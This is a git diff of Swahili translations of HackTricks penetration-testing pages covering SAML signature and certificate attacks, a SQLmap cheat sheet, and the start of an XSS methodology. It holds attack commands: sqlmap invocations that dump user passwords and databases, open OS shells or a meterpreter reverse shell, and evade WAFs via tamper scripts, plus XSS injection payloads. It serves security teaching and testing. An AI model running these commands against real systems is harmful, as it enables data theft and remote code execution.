Mabadiliko ya Lugha ya Mtindo wa Kupanuka (XSLT) yanaweza kutumika kubadilisha hati za XML kuwa fomati mbalimbali kama HTML, JSON, au PDF. Ni muhimu kutambua kwamba **mabadiliko ya XSLT yanafanywa kabla ya uthibitishaji wa saini ya dijitali**. Hii ina maana kwamba shambulio linaweza kufanikiwa hata bila saini halali; saini iliyojitengeneza au isiyo halali inatosha kuendelea.
Hapa unaweza kupata **POC** ya kuangalia aina hii ya udhaifu, katika ukurasa wa hacktricks ulioelezwa mwanzoni mwa sehemu hii unaweza kupata payloads.
```xml
@ -187,13 +185,13 @@ Angalia pia mazungumzo haya: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
**XML Signature Exclusion** inatazama tabia ya utekelezaji wa SAML wakati kipengele cha Signature hakipo. Ikiwa kipengele hiki hakipo, **uthibitishaji wa saini huenda usifanyike**, na kufanya iwe hatarini. Inawezekana kujaribu hili kwa kubadilisha maudhui ambayo kawaida yanathibitishwa na saini.
**XML Signature Exclusion** inatazama tabia ya utekelezaji wa SAML wakati kipengele cha Signature hakipo. Ikiwa kipengele hiki hakipo, **uthibitishaji wa saini unaweza kutokufanyika**, na kufanya iwe hatarini. Inawezekana kujaribu hili kwa kubadilisha maudhui ambayo kawaida yanathibitishwa na saini.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
Unaweza pia kutumia nyongeza ya Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Kamatia SAML Response na bonyeza `Remove Signatures`. Kwa kufanya hivyo, **vipengele vyote** vya Signature vinatolewa.
Unaweza pia kutumia nyongeza ya Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Kamatia Jibu la SAML na bonyeza `Remove Signatures`. Kwa kufanya hivyo, **vipengele vyote** vya Signature vinatolewa.
Pamoja na saini zilizondolewa, ruhusu ombi liendelee kwa lengo. Ikiwa Signature haitahitajika na Huduma
@ -201,29 +199,29 @@ Pamoja na saini zilizondolewa, ruhusu ombi liendelee kwa lengo. Ikiwa Signature
## Certificate Faking
Certificate Faking ni mbinu ya kujaribu ikiwa **Mtoa Huduma (SP) anathibitisha ipasavyo kwamba Ujumbe wa SAML umetiwa saini** na Mtoa Kitambulisho (IdP) anayeaminika. Inahusisha kutumia \***cheti chenye saini binafsi** kutiwa saini SAML Response au Assertion, ambayo husaidia katika kutathmini mchakato wa uthibitishaji wa uaminifu kati ya SP na IdP.
Certificate Faking ni mbinu ya kujaribu ikiwa **Mtoa Huduma (SP) anathibitisha ipasavyo kwamba Ujumbe wa SAML umetiwa saini** na Mtoa Kitambulisho anayeaminika (IdP). Inahusisha kutumia \***cheti chenye saini binafsi** kutiwa saini Jibu la SAML au Dhamana, ambayo husaidia katika kutathmini mchakato wa uthibitishaji wa uaminifu kati ya SP na IdP.
### Jinsi ya Kufanya Certificate Faking
Hatua zifuatazo zinaelezea mchakato wa kutumia nyongeza ya [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) ya Burp:
1. Kamatia SAML Response.
1. Kamatia Jibu la SAML.
2. Ikiwa jibu lina saini, tuma cheti kwa SAML Raider Certs kwa kutumia kitufe cha `Send Certificate to SAML Raider Certs`.
3. Katika tab ya SAML Raider Certificates, chagua cheti kilichoumbizwa na bonyeza `Save and Self-Sign` ili kuunda nakala ya cheti chenye saini binafsi.
3. Katika kichupo cha Cheti za SAML Raider, chagua cheti kilichosafirishwa na bonyeza `Save and Self-Sign` ili kuunda nakala ya cheti chenye saini binafsi.
4. Rudi kwenye ombi lililokamatwa katika Proxy ya Burp. Chagua cheti kipya chenye saini binafsi kutoka kwenye orodha ya XML Signature.
5. Ondoa saini zozote zilizopo kwa kutumia kitufe cha `Remove Signatures`.
6. Tiwa saini ujumbe au uthibitisho kwa kutumia cheti kipya kwa kutumia kitufe cha **`(Re-)Sign Message`** au **`(Re-)Sign Assertion`**, kama inavyofaa.
6. Tia saini ujumbe au dhamana kwa kutumia cheti kipya kwa kutumia kitufe cha **`(Re-)Sign Message`** au **`(Re-)Sign Assertion`**, kama inavyofaa.
7. Peleka ujumbe ulio saini. Uthibitishaji wa mafanikio unaonyesha kwamba SP inakubali ujumbe ulio saini na cheti chako chenye saini binafsi, ikifunua udhaifu wa uwezekano katika mchakato wa uthibitishaji wa ujumbe wa SAML.
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Token Recipient Confusion na Service Provider Target Confusion zinahusisha kuangalia ikiwa **Mtoa Huduma anathibitisha ipasavyo mpokeaji aliye kusudiwa wa jibu**. Kwa msingi, Mtoa Huduma anapaswa kukataa jibu la uthibitishaji ikiwa lilikuwa linakusudiwa kwa mtoa huduma tofauti. Kipengele muhimu hapa ni **Recipient** field, kinachopatikana ndani ya kipengele cha **SubjectConfirmationData** cha SAML Response. Kipengele hiki kinaelezea URL inayoonyesha mahali ambapo Assertion inapaswa kutumwa. Ikiwa mpokeaji halisi hauendani na Mtoa Huduma aliye kusudiwa, Assertion inapaswa kuonekana kuwa batili.
Token Recipient Confusion na Service Provider Target Confusion zinahusisha kuangalia ikiwa **Mtoa Huduma anathibitisha ipasavyo mpokeaji aliye kusudiwa wa jibu**. Kwa msingi, Mtoa Huduma anapaswa kukataa jibu la uthibitishaji ikiwa lilikuwa linakusudiwa kwa mtoa huduma tofauti. Kipengele muhimu hapa ni uwanja wa **Recipient**, ulio ndani ya kipengele cha **SubjectConfirmationData** cha Jibu la SAML. Uwanja huu unaelezea URL inayoonyesha mahali ambapo Dhamana inapaswa kutumwa. Ikiwa mpokeaji halisi hauendani na Mtoa Huduma aliye kusudiwa, Dhamana inapaswa kuonekana kuwa batili.
#### **Jinsi Inavyofanya Kazi**
Ili shambulio la SAML Token Recipient Confusion (SAML-TRC) liweze kufanyika, masharti fulani yanapaswa kutimizwa. Kwanza, lazima kuwe na akaunti halali kwenye Mtoa Huduma (inayojulikana kama SP-Legit). Pili, Mtoa Huduma anayelengwa (SP-Target) lazima ukubali token kutoka kwa Mtoa Kitambulisho sawa anaye huduma SP-Legit.
Ili shambulio la SAML Token Recipient Confusion (SAML-TRC) liweze kufanyika, masharti fulani yanapaswa kutimizwa. Kwanza, lazima kuwe na akaunti halali kwenye Mtoa Huduma (inayojulikana kama SP-Legit). Pili, Mtoa Huduma anayelengwa (SP-Target) lazima akubali tokeni kutoka kwa Mtoa Kitambulisho yule yule anayehudumia SP-Legit.
Mchakato wa shambulio ni rahisi chini ya masharti haya. Kikao halali kinaanzishwa na SP-Legit kupitia Mtoa Kitambulisho aliyeshirikiwa. SAML Response kutoka kwa Mtoa Kitambulisho hadi SP-Legit inakamatwa. SAML Response hii iliyokamatwa, ambayo awali ilikuwa inakusudiwa kwa SP-Legit, kisha inarejelewa kwa SP-Target. Mafanikio katika shambulio hili yanapimwa kwa SP-Target kukubali Assertion, ikitoa ufikiaji wa rasilimali chini ya jina la akaunti sawa iliyotumika kwa SP-Legit.
Mchakato wa shambulio ni rahisi chini ya masharti haya. Kikao halali kinaanzishwa na SP-Legit kupitia Mtoa Kitambulisho aliyeshirikishwa. Jibu la SAML kutoka kwa Mtoa Kitambulisho hadi SP-Legit linakamatwa. Jibu hili la SAML lililokamatwa, ambalo awali lilikuwa linakusudiwa kwa SP-Legit, kisha linapelekwa kwa SP-Target. Mafanikio katika shambulio hili yanapimwa kwa SP-Target kukubali Dhamana, ikitoa ufikiaji wa rasilimali chini ya jina la akaunti ile ile iliyotumika kwa SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@ -252,7 +250,7 @@ Wakati wa mchakato wa kulazimisha saraka, ukurasa wa logout uligunduliwa katika:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Baada ya kufikia kiungo hiki, kulifanyika uelekezaji kwenda:
Baada ya kufikia kiungo hiki, kulikuwa na uelekeo kwenda:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```

View File

@ -1,6 +1,10 @@
# Msingi wa hoja za SQLmap
# SQLMap
## Kawaida
{{#include ../../banners/hacktricks-training.md}}
## Msingi wa hoja za SQLmap
### Kawaida
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -17,9 +21,9 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Retrieve Information
### Retrieve Information
### Internal
#### Internal
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -27,7 +31,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### Takwimu za DB
#### Takwimu za DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -36,24 +40,24 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Injection place
## Injection place
## From Burp/ZAP capture
### From Burp/ZAP capture
Shika ombi na uunde faili la req.txt
Shika ombi na uunde faili req.txt
```bash
sqlmap -r req.txt --current-user
```
## Uingiliaji wa Ombi la GET
### Uingizaji wa Ombi la GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## Uingiliaji wa Ombi la POST
### POST Request Injection
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Injections katika Vichwa na Mbinu Nyingine za HTTP
### Injections katika Vichwa na Mbinu Nyingine za HTTP
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -67,12 +71,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Uingiliaji wa agizo la pili
### Uingizaji wa agizo la pili
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -83,7 +87,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Tembelea tovuti kwa SQLmap na kujiendesha kiotomatiki
### Tembelea tovuti kwa SQLmap na kuji-exploit kiotomatiki
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -91,73 +95,73 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Kubadilisha Uingiliaji
## Kubadilisha Uingiliaji
## Weka kiambishi
### Weka kiambishi
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Kichwa
### Kichwa
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Msaada wa kutafuta sindano ya boolean
### Msaada wa kutafuta sindano ya boolean
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Tamper
### Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Maelezo |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Hubadilisha herufi ya apostrophe na sawa yake ya UTF-8 yenye upana kamili |
| apostrophenullencode.py | Hubadilisha herufi ya apostrophe na sawa yake isiyo halali ya double unicode |
| apostrophemask.py | Hubadilisha herufi ya apostrophe na sawa yake ya upana wa UTF-8 |
| apostrophenullencode.py | Hubadilisha herufi ya apostrophe na sawa yake isiyo halali ya unicode |
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload |
| base64encode.py | Base64 herufi zote katika payload iliyotolewa |
| between.py | Hubadilisha opereta kubwa zaidi \('&gt;'\) na 'SIO KATI YA 0 NA \#' |
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya nasibu. Kisha hubadilisha herufi = na opereta LIKE |
| base64encode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa Base64 |
| between.py | Hubadilisha opereta ya zaidi ya \('&gt;'\) na 'SIO KATI YA 0 NA \#' |
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL kuwa herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE |
| chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\) |
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
| commalessmid.py | Hubadilisha matukio kama 'MID\(A, B, C\)' na 'MID\(A KUTOKA B KWA C\)' |
| commalessmid.py | Hubadilisha matukio kama 'MID\(A, B, C\)' na 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Hubadilisha matukio kama 'CONCAT\(A, B\)' na 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Huongeza url-encode herufi zote katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\) |
| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\). "%u0022" |
| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\). "\u0022" |
| equaltolike.py | Hubadilisha matukio yote ya opereta sawa \('='\) na opereta 'LIKE' |
| escapequotes.py | Huondoa kukimbia nukuu \(' na "\) |
| greatest.py | Hubadilisha opereta kubwa zaidi \('&gt;'\) na sawa yake ya 'GREATEST' |
| greatest.py | Hubadilisha opereta ya zaidi ya \('&gt;'\) na sawa yake ya 'GREATEST' |
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL\(A, B\)' na 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Inajumuisha swali kamili na maoni yenye toleo |
| modsecurityzeroversioned.py | Inajumuisha swali kamili na maoni yasiyo na toleo |
| modsecurityversioned.py | Huweka swali lote ndani ya maoni yenye toleo |
| modsecurityzeroversioned.py | Huweka swali lote ndani ya maoni yasiyo na toleo |
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi unaofaa kwa kubadilisha \(e.g. .replace\("SELECT", ""\)\) filters |
| percentage.py | Huongeza alama ya asilimia \('%'\) mbele ya kila herufi |
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\) |
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya nasibu |
| randomcomments.py | Ongeza maoni ya nasibu kwa maneno muhimu ya SQL |
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi ya nasibu |
| randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL |
| securesphere.py | Huongeza mfuatano maalum wa kuundwa |
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa logi za DBMS |
| space2comment.py | Hubadilisha herufi ya nafasi \(' '\) na maoni |
| space2dash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
| space2hash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
| space2morehash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
| space2mssqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2mssqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
| space2mssqlhash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mstari mpya \('\n'\) |
| space2mysqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2mysqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
| space2mysqldash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mstari mpya \('\n'\) |
| space2plus.py | Hubadilisha herufi ya nafasi \(' '\) na plus \('+'\) |
| space2randomblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2randomblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama \(&& na |
| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
| unmagicquotes.py | Hubadilisha herufi ya nukuu \('\) na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni \(ili kufanya ifanye kazi\) |
| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
| varnish.py | Ongeza kichwa cha HTTP 'X-originating-IP' |
| versionedkeywords.py | Inajumuisha kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Inajumuisha kila neno muhimu na maoni ya MySQL yenye toleo |
| xforwardedfor.py | Ongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi ndani ya maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Huweka kila neno muhimu ndani ya maoni ya MySQL yenye toleo |
| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# XSS (Cross Site Scripting)
{{#include /banners/hacktricks-training.md}}
## Methodology
1. Angalia kama **thamani yoyote unayodhibiti** (_parameta_, _njia_, _vichwa_?, _cookies_?) inarudi **katika** HTML au **inatumiwa** na **JS** code.
@ -22,7 +24,7 @@
2. Je, unaweza kutoroka mfuatano na kutekeleza JS code tofauti?
3. Je, ingizo lako liko katika template literals \`\`?
4. Je, unaweza kupita ulinzi?
4. Javascript **function** inayotekelezwa
4. Javascript **function** inayo **tekelezwa**
1. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: `?callback=alert(1)`
4. Ikiwa **inatumiwa**:
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
@ -35,31 +37,31 @@ debugging-client-side-js.md
## Reflected values
Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe inayorudi** kwenye ukurasa wa wavuti.
Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe ambayo inarudi** kwenye ukurasa wa wavuti.
- **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
- **Ilihifadhiwa na kurudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
- **Ilihifadhiwa na inarudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
- **Inafikiwa kupitia JS**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia **DOM XSS**.
## Contexts
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linavyorudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
### Raw HTML
Ikiwa ingizo lako **linarudi kwenye ukurasa wa HTML safi** utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-csti.md).
### Ndani ya sifa za HTML tags
Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
1. Kutoka **katika sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani yake **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani yake **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** ili kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
Mfano wa ajabu wa Angular akitekeleza XSS ikiwa unadhibiti jina la darasa:
Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -67,14 +69,14 @@ Mfano wa ajabu wa Angular akitekeleza XSS ikiwa unadhibiti jina la darasa:
```
### Ndani ya msimbo wa JavaScript
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
Katika kesi hii, ingizo lako linaonyeshwa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
- Ikiwa linaonyeshwa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
- Ikiwa linaonyeshwa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kufanya** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, hautatekelezwa):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Ikiwa inarejelewa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- Ikiwa linaonyeshwa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** inafanya kazi kuandika **msimbo wa javascript halali**:
```javascript
alert(1)
@ -83,7 +85,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\
Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya matumizi yao ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\
**Angalia ukurasa ufuatao kwa maelezo zaidi:**
{{#ref}}
@ -98,7 +100,7 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
![](<../../images/image (711).png>)
Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini (**`[\w\._]`**).
Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na viwango vya chini tu (**`[\w\._]`**).
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**:
@ -124,7 +126,7 @@ some-same-origin-method-execution.md
### DOM
Kuna **kodia ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodia ya JS isiyo na mipaka.
Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka.
{{#ref}}
dom-xss.md
@ -132,7 +134,7 @@ dom-xss.md
### **Universal XSS**
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali kwenye **muktadha wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali pia katika **muktadha** **wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Baadhi ya **esemples**:
{{#ref}}
@ -149,11 +151,11 @@ server-side-xss-dynamic-pdf.md
## Kuingiza ndani ya HTML safi
